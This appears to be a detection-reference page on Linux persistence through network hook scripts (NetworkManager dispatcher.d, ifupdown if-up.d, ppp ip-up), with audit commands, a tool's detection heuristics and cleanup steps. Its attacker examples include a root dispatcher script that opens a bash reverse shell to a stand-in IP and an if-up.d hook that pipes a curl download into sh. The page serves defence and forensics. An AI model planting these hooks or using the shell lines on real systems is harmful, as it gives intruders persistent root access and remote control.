On network change
Network Hooks: Linux Persistence via Dispatcher Scripts
How attackers plant NetworkManager dispatcher, ifupdown if-up.d and ppp ip-up scripts that run as root whenever an interface changes, and how to find them.
- MITRE ATT&CK
- No dedicated ATT&CK technique
- Tactics
- Persistence, Privilege escalation
- Runs
- On network change
- Set up by
- root
- Locations
- /etc/NetworkManager/dispatcher.d/*
- /etc/network/if-up.d/*
- /etc/network/if-pre-up.d/*
- /etc/ppp/ip-up.d/*
How it works
Every Linux network stack can run scripts, as root, when an interface changes state. Boot brings interfaces up, so these hooks fire at every boot, and again at each reconnect, DHCP renewal or VPN start: many times a day on a laptop.
NetworkManager
nm-dispatcher (NetworkManager-dispatcher.service, started over D-Bus) runs the executables in /etc/NetworkManager/dispatcher.d/ in alphabetical order for each event, with the interface as $1 and the action as $2: up, down, vpn-up, vpn-down, hostname, dhcp4-change, dhcp6-change, connectivity-change and others. Connection details arrive in the environment (CONNECTION_ID, DEVICE_IFACE, IP4_ADDRESS_0…). pre-up and pre-down events only go to scripts in the pre-up.d/ and pre-down.d/ subfolders; scripts in no-wait.d/ run without blocking the others. Recent versions also read /usr/lib/NetworkManager/dispatcher.d/, where a same-name file in /etc wins. A script is skipped unless it is a regular executable file owned by root, not writable by group or others, and not setuid.
ifupdown
On Debian and on servers configured through /etc/network/interfaces, ifup and ifdown run run-parts over /etc/network/if-pre-up.d, if-up.d, if-down.d and if-post-down.d, with IFACE, METHOD, MODE and PHASE in the environment. run-parts skips files that are not executable and names containing anything but letters, digits, _ and -, so backdoor.sh never runs. The pre-up, up/post-up, down/pre-down and post-down options in /etc/network/interfaces and interfaces.d/ run shell commands directly. Debian and Ubuntu's NetworkManager package ships dispatcher.d/01-ifupdown, which runs the if-*.d scripts for NetworkManager connections too.
ppp and others
pppd runs /etc/ppp/ip-up (and ip-down) with the interface, tty, speed and addresses as arguments; on Debian these run the ip-up.d and ip-down.d folders. Other hook systems exist: networkd-dispatcher on Ubuntu hosts using systemd-networkd, dhclient's enter and exit hooks (sourced by dhclient-script), and /sbin/ifup-local in RHEL's legacy network-scripts (RHEL 8 and older).
Where it lives
| Path | What | Who can write it |
|---|---|---|
/etc/NetworkManager/dispatcher.d/* | NetworkManager event scripts | root (enforced) |
/etc/NetworkManager/dispatcher.d/{pre-up.d,pre-down.d,no-wait.d}/* | Pre-event and non-blocking scripts | root (enforced) |
/usr/lib/NetworkManager/dispatcher.d/* | Vendor dispatcher scripts | root (packages) |
/etc/network/if-{pre-up,up,down,post-down}.d/* | ifupdown hooks, run through run-parts | root |
/etc/network/interfaces, /etc/network/interfaces.d/* | pre-up, post-up, down command lines | root |
/etc/ppp/ip-up, /etc/ppp/ip-down, /etc/ppp/ip-{up,down}.d/* | pppd link scripts | root |
/etc/networkd-dispatcher/*.d/* | networkd-dispatcher state scripts | root |
/etc/dhcp/dhclient-{enter,exit}-hooks.d/* | dhclient hooks | root |
How attackers use it
A beacon on every connection
#!/bin/sh
# /etc/NetworkManager/dispatcher.d/90-time-sync
[ "$2" = "up" ] || exit 0
setsid /bin/bash -c 'exec bash -i >& /dev/tcp/198.51.100.23/8443 0>&1' >/dev/null 2>&1 &
Filtering on up keeps it quiet; detaching keeps the dispatcher from waiting on it. A name like 90-time-sync blends in with the scripts that packages ship for NTP, VPN and firewall reloads.
An if-up.d hook
#!/bin/sh
# /etc/network/if-up.d/ntpdate-sync
[ "$IFACE" = "lo" ] && exit 0
curl -fsS https://example.com/s | sh
No dot in the name, mode 0755, and it runs both under ifupdown and, through 01-ifupdown, under NetworkManager.
A line in the interface configuration
iface eth0 inet dhcp
post-up /usr/local/sbin/.ifmon &
No new file at all: one line in a file administrators edit by hand.
A trojanized vendor script
Appending a line to a script a package already ships keeps the folder listing unchanged; only a checksum comparison shows it.
How to check a host
On a live host
ls -la --time-style=full-iso /etc/NetworkManager/dispatcher.d/ /etc/NetworkManager/dispatcher.d/*/ \
/usr/lib/NetworkManager/dispatcher.d/ 2>/dev/null
for d in /etc/network/if-*.d /etc/ppp/ip-up.d /etc/ppp/ip-down.d; do [ -d "$d" ] && run-parts --test "$d"; done
grep -nE '^\s*(pre-up|up|post-up|down|pre-down|post-down)\s' /etc/network/interfaces /etc/network/interfaces.d/* 2>/dev/null
ls -la /etc/networkd-dispatcher/*/ /etc/dhcp/dhclient-*-hooks.d/ 2>/dev/null
dpkg -S /etc/NetworkManager/dispatcher.d/* /etc/network/if-*.d/* 2>&1 | grep 'no path found'
rpm -qf /etc/NetworkManager/dispatcher.d/* | grep 'not owned'
dpkg -V # or: rpm -Va (modified packaged scripts)
journalctl -u NetworkManager-dispatcher -u NetworkManager
run-parts --test (Debian) prints the scripts that would run, without running them. Read every script, not only the names: they are short.
Offline or from a collection
List each folder from the image with owners and modes. NetworkManager ignores scripts that are not root-owned or are group- or world-writable, and run-parts ignores dotted names and non-executables, but a script that could not run is still evidence of intent. Check ownership with dpkg -S or rpm -qf and checksums with dpkg -V or rpm -Vf, compare mtimes with the NetworkManager journal (connection activations show when a hook fired), and check firewall or proxy logs for outbound connections at those moments.
Linux Persistence reads the dispatcher, ifupdown and ppp hook folders offline from the collection command archive.
What Linux Persistence flags
The tool reads every file in /etc/NetworkManager/dispatcher.d/ and its subfolders, in /etc/network/if-up.d, if-down.d, if-pre-up.d and if-post-down.d, and /etc/ppp/ip-up, ip-down and their .d folders. Each file is one entry, and the whole script, comments removed, goes through the command heuristics.
- Downloads and runs code, Reverse or bind shell, Decodes and runs a payload: the script fetches and runs code, ties a shell to a socket or decodes a payload into an interpreter (high).
- Interpreter with inline code:
python -c,perl -eand the like (medium). - Runs from a temporary folder (high) and Runs from a hidden folder (medium): the script references
/tmp,/var/tmp,/dev/shmor a dot-named path. - Detaches from the session:
nohup,setsidorscreen -dm(low), as in the first example. - Embedded encoded blob: a long base64 or hex string (medium).
- Not installed by any package: an unowned script in
dispatcher.dor anif-*.dfolder (medium). ppp scripts get no ownership flag. - Differs from package package: a packaged script whose checksum changed (low).
- Changed date: modified within 7 days before the newest file in the collection (low).
- program also runs from mechanisms: another mechanism also runs this same script (medium).
Hits in unmodified packaged scripts are shown as info. The package checks need /var/lib/dpkg in the collection; RPM databases are not read.
Limits: the collection keeps no file modes or owners, so a script that NetworkManager or run-parts would skip is listed like one that runs. Command lines in /etc/network/interfaces, /usr/lib/NetworkManager/dispatcher.d, networkd-dispatcher, dhclient hooks and ifup-local are not read.
Cleaning up
- Preserve the script with its times (
cp -a), hash it, and keep the NetworkManager journal and any firewall logs covering interface-up events. - Delete the script, the
interfacesline, or restore the packaged version (apt install --reinstall <pkg>,dnf reinstall <pkg>). Nothing needs restarting: hooks are read at each event. - Remove the payload the hook started and look for the same program in systemd services, cron, udev rules on the
netsubsystem and rc.local. - Block the indicators the script contacted and review outbound traffic at past interface-up times.
- Rotate secrets: the hook ran as root, and
/etc/NetworkManager/system-connections/can hold Wi-Fi keys and VPN credentials in clear text.
References
See also
Related techniques
On Linux Forensics
The artifacts behind this technique, in the Linux Forensics reference: